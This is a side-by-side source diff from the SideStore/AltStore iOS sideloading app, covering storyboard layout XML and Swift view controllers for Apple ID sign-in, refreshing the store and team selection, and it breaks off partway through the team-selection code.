<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Download Apps" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" minimumScaleFactor="0.5" translatesAutoresizingMaskIntoConstraints="NO" id="JeJ-bk-UCA"> <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Download Apps" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" minimumScaleFactor="0.5" translatesAutoresizingMaskIntoConstraints="NO" id="JeJ-bk-UCA">
<rect key="frame" x="0.0" y="0.0" width="282" height="20.333333333333332"/> <rect key="frame" x="0.0" y="0.0" width="264" height="20.5"/>
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/> <fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/> <nil key="highlightedColor"/>
</label> </label>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Browse and download apps directly from SideStore." textAlignment="natural" lineBreakMode="tailTruncation" numberOfLines="2" baselineAdjustment="alignBaselines" minimumScaleFactor="0.5" translatesAutoresizingMaskIntoConstraints="NO" id="M7T-9j-uyt"> <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Browse and download apps directly from SideStore." textAlignment="natural" lineBreakMode="tailTruncation" numberOfLines="2" baselineAdjustment="alignBaselines" minimumScaleFactor="0.5" translatesAutoresizingMaskIntoConstraints="NO" id="M7T-9j-uyt">
<rect key="frame" x="0.0" y="25.333333333333318" width="282" height="38.333333333333343"/> <rect key="frame" x="0.0" y="25.5" width="264" height="38.5"/>
<fontDescription key="fontDescription" type="system" pointSize="16"/> <fontDescription key="fontDescription" type="system" pointSize="16"/>
<color key="textColor" white="1" alpha="0.59999999999999998" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="textColor" white="1" alpha="0.59999999999999998" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/> <nil key="highlightedColor"/>
@@ -360,10 +360,10 @@
</subviews> </subviews>
</stackView> </stackView>
<stackView opaque="NO" contentMode="scaleToFill" alignment="center" spacing="20" translatesAutoresizingMaskIntoConstraints="NO" id="X3r-G1-vf2"> <stackView opaque="NO" contentMode="scaleToFill" alignment="center" spacing="20" translatesAutoresizingMaskIntoConstraints="NO" id="X3r-G1-vf2">
<rect key="frame" x="16" y="525.33333333333337" width="361" height="95.666666666666629"/> <rect key="frame" x="16" y="433.5" width="343" height="95.5"/>
<subviews> <subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="4" textAlignment="right" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="i2U-NL-plG"> <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="4" textAlignment="right" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="i2U-NL-plG">
<rect key="frame" x="0.0" y="0.0" width="59" height="95.666666666666671"/> <rect key="frame" x="0.0" y="0.0" width="59" height="95.5"/>
<constraints> <constraints>
<constraint firstAttribute="width" constant="59" id="4Qg-s9-p7s"/> <constraint firstAttribute="width" constant="59" id="4Qg-s9-p7s"/>
</constraints> </constraints>
@@ -372,16 +372,16 @@
<nil key="highlightedColor"/> <nil key="highlightedColor"/>
</label> </label>
<stackView opaque="NO" contentMode="scaleToFill" axis="vertical" spacing="5" translatesAutoresizingMaskIntoConstraints="NO" id="Xs6-pJ-PUz"> <stackView opaque="NO" contentMode="scaleToFill" axis="vertical" spacing="5" translatesAutoresizingMaskIntoConstraints="NO" id="Xs6-pJ-PUz">
<rect key="frame" x="79" y="15.999999999999996" width="282" height="63.666666666666657"/> <rect key="frame" x="79" y="17" width="264" height="62"/>
<subviews> <subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Apps Refresh Automatically" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" minimumScaleFactor="0.5" translatesAutoresizingMaskIntoConstraints="NO" id="nvb-Aq-sYa"> <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Apps Refresh Automatically" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" minimumScaleFactor="0.5" translatesAutoresizingMaskIntoConstraints="NO" id="nvb-Aq-sYa">
<rect key="frame" x="0.0" y="0.0" width="282" height="20.333333333333332"/> <rect key="frame" x="0.0" y="0.0" width="264" height="20.5"/>
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/> <fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/> <nil key="highlightedColor"/>
</label> </label>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Apps are refreshed in the background while you are on SideStore VPN!" textAlignment="natural" lineBreakMode="tailTruncation" numberOfLines="2" baselineAdjustment="alignBaselines" minimumScaleFactor="0.5" translatesAutoresizingMaskIntoConstraints="NO" id="HU5-Hv-E3d"> <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Apps are refreshed in the background while you are on SideStore VPN!" textAlignment="natural" lineBreakMode="tailTruncation" numberOfLines="2" baselineAdjustment="alignBaselines" minimumScaleFactor="0.5" translatesAutoresizingMaskIntoConstraints="NO" id="HU5-Hv-E3d">
<rect key="frame" x="0.0" y="25.333333333333261" width="282" height="38.333333333333343"/> <rect key="frame" x="0.0" y="25.5" width="264" height="36.5"/>
<fontDescription key="fontDescription" type="system" pointSize="16"/> <fontDescription key="fontDescription" type="system" pointSize="16"/>
<color key="textColor" white="1" alpha="0.59999999999999998" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="textColor" white="1" alpha="0.59999999999999998" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/> <nil key="highlightedColor"/>
@@ -394,7 +394,7 @@
<edgeInsets key="layoutMargins" top="35" left="0.0" bottom="35" right="0.0"/> <edgeInsets key="layoutMargins" top="35" left="0.0" bottom="35" right="0.0"/>
</stackView> </stackView>
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="system" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="qZ9-AR-2zK"> <button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="system" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="qZ9-AR-2zK">
<rect key="frame" x="16" y="759" width="361" height="51"/> <rect key="frame" x="16" y="608" width="343" height="51"/>
<color key="backgroundColor" name="SettingsHighlighted"/> <color key="backgroundColor" name="SettingsHighlighted"/>
<constraints> <constraints>
<constraint firstAttribute="height" constant="51" id="LQz-qG-ZJK"/> <constraint firstAttribute="height" constant="51" id="LQz-qG-ZJK"/>
@@ -431,22 +431,22 @@
</objects> </objects>
<point key="canvasLocation" x="1353" y="736"/> <point key="canvasLocation" x="1353" y="736"/>
</scene> </scene>
<!--Refresh SideStore--> <!--Refresh AltStore-->
<scene sceneID="9Vh-dM-OqX"> <scene sceneID="9Vh-dM-OqX">
<objects> <objects>
<viewController storyboardIdentifier="refreshAltStoreViewController" useStoryboardIdentifierAsRestorationIdentifier="YES" id="aoK-yE-UVT" customClass="RefreshAltStoreViewController" customModule="SideStoreAppKit" sceneMemberID="viewController"> <viewController storyboardIdentifier="refreshAltStoreViewController" id="aoK-yE-UVT" customClass="RefreshAltStoreViewController" customModule="AltStore" customModuleProvider="target" sceneMemberID="viewController">
<view key="view" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" id="R83-kV-365"> <view key="view" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" id="R83-kV-365">
<rect key="frame" x="0.0" y="0.0" width="393" height="852"/> <rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/> <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
<subviews> <subviews>
<view contentMode="scaleToFill" translatesAutoresizingMaskIntoConstraints="NO" id="fpO-Bf-gFY" customClass="RSTPlaceholderView"> <view contentMode="scaleToFill" translatesAutoresizingMaskIntoConstraints="NO" id="fpO-Bf-gFY" customClass="RSTPlaceholderView">
<rect key="frame" x="0.0" y="0.0" width="393" height="852"/> <rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
</view> </view>
<stackView opaque="NO" contentMode="scaleToFill" axis="vertical" spacing="8" translatesAutoresizingMaskIntoConstraints="NO" id="tDQ-ao-1Jg"> <stackView opaque="NO" contentMode="scaleToFill" axis="vertical" spacing="8" translatesAutoresizingMaskIntoConstraints="NO" id="tDQ-ao-1Jg">
<rect key="frame" x="16" y="721" width="361" height="89"/> <rect key="frame" x="16" y="570" width="343" height="89"/>
<subviews> <subviews>
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="system" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="xcg-hT-tDe" customClass="PillButton" customModule="SideStore" customModuleProvider="target"> <button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="system" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="xcg-hT-tDe" customClass="PillButton" customModule="AltStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="0.0" width="361" height="51"/> <rect key="frame" x="0.0" y="0.0" width="343" height="51"/>
<color key="backgroundColor" name="SettingsHighlighted"/> <color key="backgroundColor" name="SettingsHighlighted"/>
<constraints> <constraints>
<constraint firstAttribute="height" constant="51" id="SJA-N9-Z6u"/> <constraint firstAttribute="height" constant="51" id="SJA-N9-Z6u"/>
@@ -461,7 +461,7 @@
</connections> </connections>
</button> </button>
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="system" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="qua-VA-asJ"> <button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="system" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="qua-VA-asJ">
<rect key="frame" x="0.0" y="59" width="361" height="30"/> <rect key="frame" x="0.0" y="59" width="343" height="30"/>
<fontDescription key="fontDescription" type="boldSystem" pointSize="15"/> <fontDescription key="fontDescription" type="boldSystem" pointSize="15"/>
<state key="normal" title="Refresh Later"> <state key="normal" title="Refresh Later">
<color key="titleColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="titleColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
@@ -485,7 +485,7 @@
<constraint firstItem="tDQ-ao-1Jg" firstAttribute="leading" secondItem="R83-kV-365" secondAttribute="leadingMargin" id="zEt-Xr-kJx"/> <constraint firstItem="tDQ-ao-1Jg" firstAttribute="leading" secondItem="R83-kV-365" secondAttribute="leadingMargin" id="zEt-Xr-kJx"/>
</constraints> </constraints>
</view> </view>
<navigationItem key="navigationItem" title="Refresh SideStore" largeTitleDisplayMode="always" id="5nk-NR-jtV"/> <navigationItem key="navigationItem" title="Refresh AltStore" largeTitleDisplayMode="always" id="5nk-NR-jtV"/>
<simulatedNavigationBarMetrics key="simulatedTopBarMetrics" prompted="NO"/> <simulatedNavigationBarMetrics key="simulatedTopBarMetrics" prompted="NO"/>
<connections> <connections>
<outlet property="placeholderView" destination="fpO-Bf-gFY" id="q7d-au-d94"/> <outlet property="placeholderView" destination="fpO-Bf-gFY" id="q7d-au-d94"/>
@@ -498,30 +498,30 @@
<!--Select a Team--> <!--Select a Team-->
<scene sceneID="ioQ-WB-CLJ"> <scene sceneID="ioQ-WB-CLJ">
<objects> <objects>
<viewController storyboardIdentifier="selectTeamViewController" hidesBottomBarWhenPushed="YES" useStoryboardIdentifierAsRestorationIdentifier="YES" id="kOD-4P-a6L" customClass="SelectTeamViewController" customModule="SideStoreAppKit" sceneMemberID="viewController"> <viewController storyboardIdentifier="selectTeamViewController" hidesBottomBarWhenPushed="YES" id="kOD-4P-a6L" customClass="SelectTeamViewController" customModule="AltStore" customModuleProvider="target" sceneMemberID="viewController">
<tableView key="view" clipsSubviews="YES" contentMode="scaleToFill" alwaysBounceVertical="YES" indicatorStyle="white" dataMode="prototypes" style="grouped" separatorStyle="none" rowHeight="60" estimatedRowHeight="-1" sectionHeaderHeight="18" sectionFooterHeight="18" id="fWW-kX-ifH"> <tableView key="view" clipsSubviews="YES" contentMode="scaleToFill" alwaysBounceVertical="YES" indicatorStyle="white" dataMode="prototypes" style="grouped" separatorStyle="none" rowHeight="60" estimatedRowHeight="-1" sectionHeaderHeight="18" sectionFooterHeight="18" id="fWW-kX-ifH">
<rect key="frame" x="0.0" y="0.0" width="393" height="852"/> <rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/> <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
<color key="backgroundColor" name="SettingsBackground"/> <color key="backgroundColor" name="SettingsBackground"/>
<color key="tintColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="tintColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<color key="separatorColor" white="1" alpha="0.25" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="separatorColor" white="1" alpha="0.25" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<prototypes> <prototypes>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" accessoryType="disclosureIndicator" indentationWidth="10" reuseIdentifier="TeamCell" textLabel="6ip-34-gmM" detailTextLabel="knk-Wf-PKf" style="IBUITableViewCellStyleSubtitle" id="qeQ-eb-2SC" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target"> <tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" accessoryType="disclosureIndicator" indentationWidth="10" reuseIdentifier="TeamCell" textLabel="6ip-34-gmM" detailTextLabel="knk-Wf-PKf" style="IBUITableViewCellStyleSubtitle" id="qeQ-eb-2SC" customClass="InsetGroupTableViewCell" customModule="AltStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="55.333332061767578" width="393" height="60"/> <rect key="frame" x="0.0" y="55.5" width="375" height="60"/>
<autoresizingMask key="autoresizingMask"/> <autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="qeQ-eb-2SC" id="bT4-Fc-u6I"> <tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="qeQ-eb-2SC" id="bT4-Fc-u6I">
<rect key="frame" x="0.0" y="0.0" width="352.66666666666669" height="60"/> <rect key="frame" x="0.0" y="0.0" width="334" height="60"/>
<autoresizingMask key="autoresizingMask"/> <autoresizingMask key="autoresizingMask"/>
<subviews> <subviews>
<label opaque="NO" multipleTouchEnabled="YES" contentMode="left" insetsLayoutMarginsFromSafeArea="NO" text="Team 1" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" id="6ip-34-gmM"> <label opaque="NO" multipleTouchEnabled="YES" contentMode="left" insetsLayoutMarginsFromSafeArea="NO" text="Team 1" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" id="6ip-34-gmM">
<rect key="frame" x="30.000000000000004" y="9.9999999999999982" width="56.333333333333336" height="20.333333333333332"/> <rect key="frame" x="30" y="10" width="56.5" height="20.5"/>
<autoresizingMask key="autoresizingMask"/> <autoresizingMask key="autoresizingMask"/>
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/> <fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/> <nil key="highlightedColor"/>
</label> </label>
<label opaque="NO" multipleTouchEnabled="YES" contentMode="left" insetsLayoutMarginsFromSafeArea="NO" text="Description" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" id="knk-Wf-PKf"> <label opaque="NO" multipleTouchEnabled="YES" contentMode="left" insetsLayoutMarginsFromSafeArea="NO" text="Description" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" id="knk-Wf-PKf">
<rect key="frame" x="30" y="33.333333333333329" width="70" height="14.333333333333334"/> <rect key="frame" x="30" y="33.5" width="70" height="14.5"/>
<autoresizingMask key="autoresizingMask"/> <autoresizingMask key="autoresizingMask"/>
<fontDescription key="fontDescription" type="boldSystem" pointSize="12"/> <fontDescription key="fontDescription" type="boldSystem" pointSize="12"/>
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
@@ -551,18 +551,19 @@
<placeholder placeholderIdentifier="IBFirstResponder" id="yH5-jU-aez" userLabel="First Responder" sceneMemberID="firstResponder"/> <placeholder placeholderIdentifier="IBFirstResponder" id="yH5-jU-aez" userLabel="First Responder" sceneMemberID="firstResponder"/>
</objects> </objects>
<point key="canvasLocation" x="1401" y="734"/> <point key="canvasLocation" x="1401" y="734"/>
</scene> </scene>
</scenes> </scenes>
<color key="tintColor" name="Primary"/> <color key="tintColor" name="Primary"/>
<resources> <resources>
<namedColor name="Primary"> <namedColor name="Primary">
<color red="0.64313725490196083" green="0.019607843137254902" blue="0.98039215686274506" alpha="1" colorSpace="custom" customColorSpace="sRGB"/> <color red="0.0040000001899898052" green="0.50199997425079346" blue="0.51800000667572021" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
</namedColor> </namedColor>
<namedColor name="SettingsBackground"> <namedColor name="SettingsBackground">
<color red="0.45098039215686275" green="0.015686274509803921" blue="0.68627450980392157" alpha="1" colorSpace="custom" customColorSpace="sRGB"/> <color red="0.0039215686274509803" green="0.50196078431372548" blue="0.51764705882352946" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
</namedColor> </namedColor>
<namedColor name="SettingsHighlighted"> <namedColor name="SettingsHighlighted">
<color red="0.38823529411764707" green="0.011764705882352941" blue="0.58823529411764708" alpha="1" colorSpace="custom" customColorSpace="sRGB"/> <color red="0.0080000003799796104" green="0.32199999690055847" blue="0.40400001406669617" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
</namedColor> </namedColor>
</resources> </resources>
</document> </document>

View File

@@ -0,0 +1,171 @@
//
// AuthenticationViewController.swift
// AltStore
//
// Created by Riley Testut on 9/5/19.
// Copyright © 2019 Riley Testut. All rights reserved.
//
import UIKit
import AltSign
final class AuthenticationViewController: UIViewController
{
var authenticationHandler: ((String, String, @escaping (Result<(ALTAccount, ALTAppleAPISession), Error>) -> Void) -> Void)?
var completionHandler: (((ALTAccount, ALTAppleAPISession, String)?) -> Void)?
private weak var toastView: ToastView?
@IBOutlet private var appleIDTextField: UITextField!
@IBOutlet private var passwordTextField: UITextField!
@IBOutlet private var signInButton: UIButton!
@IBOutlet private var appleIDBackgroundView: UIView!
@IBOutlet private var passwordBackgroundView: UIView!
@IBOutlet private var scrollView: UIScrollView!
@IBOutlet private var contentStackView: UIStackView!
override func viewDidLoad()
{
super.viewDidLoad()
self.signInButton.activityIndicatorView.style = .medium
for view in [self.appleIDBackgroundView!, self.passwordBackgroundView!, self.signInButton!]
{
view.clipsToBounds = true
view.layer.cornerRadius = 16
}
if UIScreen.main.isExtraCompactHeight
{
self.contentStackView.spacing = 20
}
NotificationCenter.default.addObserver(self, selector: #selector(AuthenticationViewController.textFieldDidChangeText(_:)), name: UITextField.textDidChangeNotification, object: self.appleIDTextField)
NotificationCenter.default.addObserver(self, selector: #selector(AuthenticationViewController.textFieldDidChangeText(_:)), name: UITextField.textDidChangeNotification, object: self.passwordTextField)
self.update()
}
override func viewDidDisappear(_ animated: Bool)
{
super.viewDidDisappear(animated)
self.signInButton.isIndicatingActivity = false
self.toastView?.dismiss()
}
}
private extension AuthenticationViewController
{
func update()
{
if let _ = self.validate()
{
self.signInButton.isEnabled = true
self.signInButton.alpha = 1.0
}
else
{
self.signInButton.isEnabled = false
self.signInButton.alpha = 0.6
}
}
func validate() -> (String, String)?
{
guard
let emailAddress = self.appleIDTextField.text?.trimmingCharacters(in: .whitespacesAndNewlines), !emailAddress.isEmpty,
let password = self.passwordTextField.text?.trimmingCharacters(in: .whitespacesAndNewlines), !password.isEmpty
else { return nil }
return (emailAddress, password)
}
}
private extension AuthenticationViewController
{
@IBAction func authenticate()
{
guard let (emailAddress, password) = self.validate() else { return }
self.appleIDTextField.resignFirstResponder()
self.passwordTextField.resignFirstResponder()
self.signInButton.isIndicatingActivity = true
self.authenticationHandler?(emailAddress, password) { (result) in
switch result
{
case .failure(ALTAppleAPIError.requiresTwoFactorAuthentication):
// Ignore
DispatchQueue.main.async {
self.signInButton.isIndicatingActivity = false
}
case .failure(let error as NSError):
DispatchQueue.main.async {
let error = error.withLocalizedFailure(NSLocalizedString("Failed to Log In", comment: ""))
let toastView = ToastView(error: error)
toastView.textLabel.textColor = .altPink
toastView.detailTextLabel.textColor = .altPink
toastView.show(in: self)
self.toastView = toastView
self.signInButton.isIndicatingActivity = false
}
case .success((let account, let session)):
self.completionHandler?((account, session, password))
}
DispatchQueue.main.async {
self.scrollView.setContentOffset(CGPoint(x: 0, y: -self.view.safeAreaInsets.top), animated: true)
}
}
}
@IBAction func cancel(_ sender: UIBarButtonItem)
{
self.completionHandler?(nil)
}
}
extension AuthenticationViewController: UITextFieldDelegate
{
func textFieldShouldReturn(_ textField: UITextField) -> Bool
{
switch textField
{
case self.appleIDTextField: self.passwordTextField.becomeFirstResponder()
case self.passwordTextField: self.authenticate()
default: break
}
self.update()
return false
}
func textFieldDidBeginEditing(_ textField: UITextField)
{
guard UIScreen.main.isExtraCompactHeight else { return }
// Position all the controls within visible frame.
var contentOffset = self.scrollView.contentOffset
contentOffset.y = 44
self.scrollView.setContentOffset(contentOffset, animated: true)
}
}
extension AuthenticationViewController
{
@objc func textFieldDidChangeText(_ notification: Notification)
{
self.update()
}
}

View File

@@ -0,0 +1,54 @@
//
// InstructionsViewController.swift
// AltStore
//
// Created by Riley Testut on 9/6/19.
// Copyright © 2019 Riley Testut. All rights reserved.
//
import UIKit
final class InstructionsViewController: UIViewController
{
var completionHandler: (() -> Void)?
var showsBottomButton: Bool = false
@IBOutlet private var contentStackView: UIStackView!
@IBOutlet private var dismissButton: UIButton!
override var preferredStatusBarStyle: UIStatusBarStyle {
return .lightContent
}
override func viewDidLoad()
{
super.viewDidLoad()
if UIScreen.main.isExtraCompactHeight
{
self.contentStackView.layoutMargins.top = 0
self.contentStackView.layoutMargins.bottom = self.contentStackView.layoutMargins.left
}
self.dismissButton.clipsToBounds = true
self.dismissButton.layer.cornerRadius = 16
if self.showsBottomButton
{
self.navigationItem.hidesBackButton = true
}
else
{
self.dismissButton.isHidden = true
}
}
}
private extension InstructionsViewController
{
@IBAction func dismiss()
{
self.completionHandler?()
}
}

View File

@@ -8,54 +8,61 @@
import UIKit import UIKit
import AltStoreCore
import AltSign import AltSign
import SideStoreCore import Roxas
import RoxasUIKit
final class RefreshAltStoreViewController: UIViewController { final class RefreshAltStoreViewController: UIViewController
{
var context: AuthenticatedOperationContext! var context: AuthenticatedOperationContext!
var completionHandler: ((Result<Void, Error>) -> Void)? var completionHandler: ((Result<Void, Error>) -> Void)?
@IBOutlet private var placeholderView: RSTPlaceholderView! @IBOutlet private var placeholderView: RSTPlaceholderView!
override func viewDidLoad() { override func viewDidLoad()
{
super.viewDidLoad() super.viewDidLoad()
placeholderView.textLabel.isHidden = true self.placeholderView.textLabel.isHidden = true
placeholderView.detailTextLabel.textAlignment = .left self.placeholderView.detailTextLabel.textAlignment = .left
placeholderView.detailTextLabel.textColor = UIColor.white.withAlphaComponent(0.6) self.placeholderView.detailTextLabel.textColor = UIColor.white.withAlphaComponent(0.6)
placeholderView.detailTextLabel.text = NSLocalizedString("SideStore was unable to use an existing signing certificate, so it had to create a new one. This will cause any apps installed with an existing certificate to expire — including SideStore.\n\nTo prevent SideStore from expiring early, please refresh the app now. SideStore will quit once refreshing is complete.", comment: "") self.placeholderView.detailTextLabel.text = NSLocalizedString("SideStore was unable to use an existing signing certificate, so it had to create a new one. This will cause any apps installed with an existing certificate to expire — including SideStore.\n\nTo prevent SideStore from expiring early, please refresh the app now. SideStore will quit once refreshing is complete.", comment: "")
} }
} }
private extension RefreshAltStoreViewController { private extension RefreshAltStoreViewController
@IBAction func refreshAltStore(_ sender: PillButton) { {
@IBAction func refreshAltStore(_ sender: PillButton)
{
guard let altStore = InstalledApp.fetchAltStore(in: DatabaseManager.shared.viewContext) else { return } guard let altStore = InstalledApp.fetchAltStore(in: DatabaseManager.shared.viewContext) else { return }
func refresh() { func refresh()
{
sender.isIndicatingActivity = true sender.isIndicatingActivity = true
if let progress = AppManager.shared.installationProgress(for: altStore) { if let progress = AppManager.shared.installationProgress(for: altStore)
{
// Cancel pending AltStore installation so we can start a new one. // Cancel pending AltStore installation so we can start a new one.
progress.cancel() progress.cancel()
} }
// Install, _not_ refresh, to ensure we are installing with a non-revoked certificate. // Install, _not_ refresh, to ensure we are installing with a non-revoked certificate.
let group = AppManager.shared.install(altStore, presentingViewController: self, context: context) { result in let group = AppManager.shared.install(altStore, presentingViewController: self, context: self.context) { (result) in
switch result { switch result
{
case .success: self.completionHandler?(.success(())) case .success: self.completionHandler?(.success(()))
case let .failure(error as NSError): case .failure(let error as NSError):
DispatchQueue.main.async { DispatchQueue.main.async {
sender.progress = nil sender.progress = nil
sender.isIndicatingActivity = false sender.isIndicatingActivity = false
let alertController = UIAlertController(title: NSLocalizedString("Failed to Refresh SideStore", comment: ""), message: error.localizedFailureReason ?? error.localizedDescription, preferredStyle: .alert) let alertController = UIAlertController(title: NSLocalizedString("Failed to Refresh SideStore", comment: ""), message: error.localizedFailureReason ?? error.localizedDescription, preferredStyle: .alert)
alertController.addAction(UIAlertAction(title: NSLocalizedString("Try Again", comment: ""), style: .default, handler: { _ in alertController.addAction(UIAlertAction(title: NSLocalizedString("Try Again", comment: ""), style: .default, handler: { (action) in
refresh() refresh()
})) }))
alertController.addAction(UIAlertAction(title: NSLocalizedString("Refresh Later", comment: ""), style: .cancel, handler: { _ in alertController.addAction(UIAlertAction(title: NSLocalizedString("Refresh Later", comment: ""), style: .cancel, handler: { (action) in
self.completionHandler?(.failure(error)) self.completionHandler?(.failure(error))
})) }))
@@ -70,7 +77,8 @@ private extension RefreshAltStoreViewController {
refresh() refresh()
} }
@IBAction func cancel(_: UIButton) { @IBAction func cancel(_ sender: UIButton)
completionHandler?(.failure(OperationError.cancelled)) {
self.completionHandler?(.failure(OperationError.cancelled))
} }
} }

View File

@@ -0,0 +1,61 @@
//
// SelectTeamViewController.swift
// AltStore
//
// Created by Megarushing on 4/26/21.
// Copyright © 2021 Riley Testut. All rights reserved.
//
import UIKit
import SafariServices
import MessageUI
import Intents
import IntentsUI
import AltSign
final class SelectTeamViewController: UITableViewController
{
public var teams: [ALTTeam]?
public var completionHandler: ((Result<ALTTeam, Swift.Error>) -> Void)?
private var prototypeHeaderFooterView: SettingsHeaderFooterView!
override var preferredStatusBarStyle: UIStatusBarStyle {
return .lightContent
}
override func numberOfSections(in tableView: UITableView) -> Int {
return 1
}
override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
return teams?.count ?? 0
}
override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {
return self.completionHandler!(.success((self.teams?[indexPath.row])!))
}
override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
let cell = tableView.dequeueReusableCell(withIdentifier: "TeamCell", for: indexPath) as! InsetGroupTableViewCell
cell.textLabel?.text = self.teams?[indexPath.row].name
cell.detailTextLabel?.text = self.teams?[indexPath.row].type.localizedDescription
if indexPath.row == 0
{
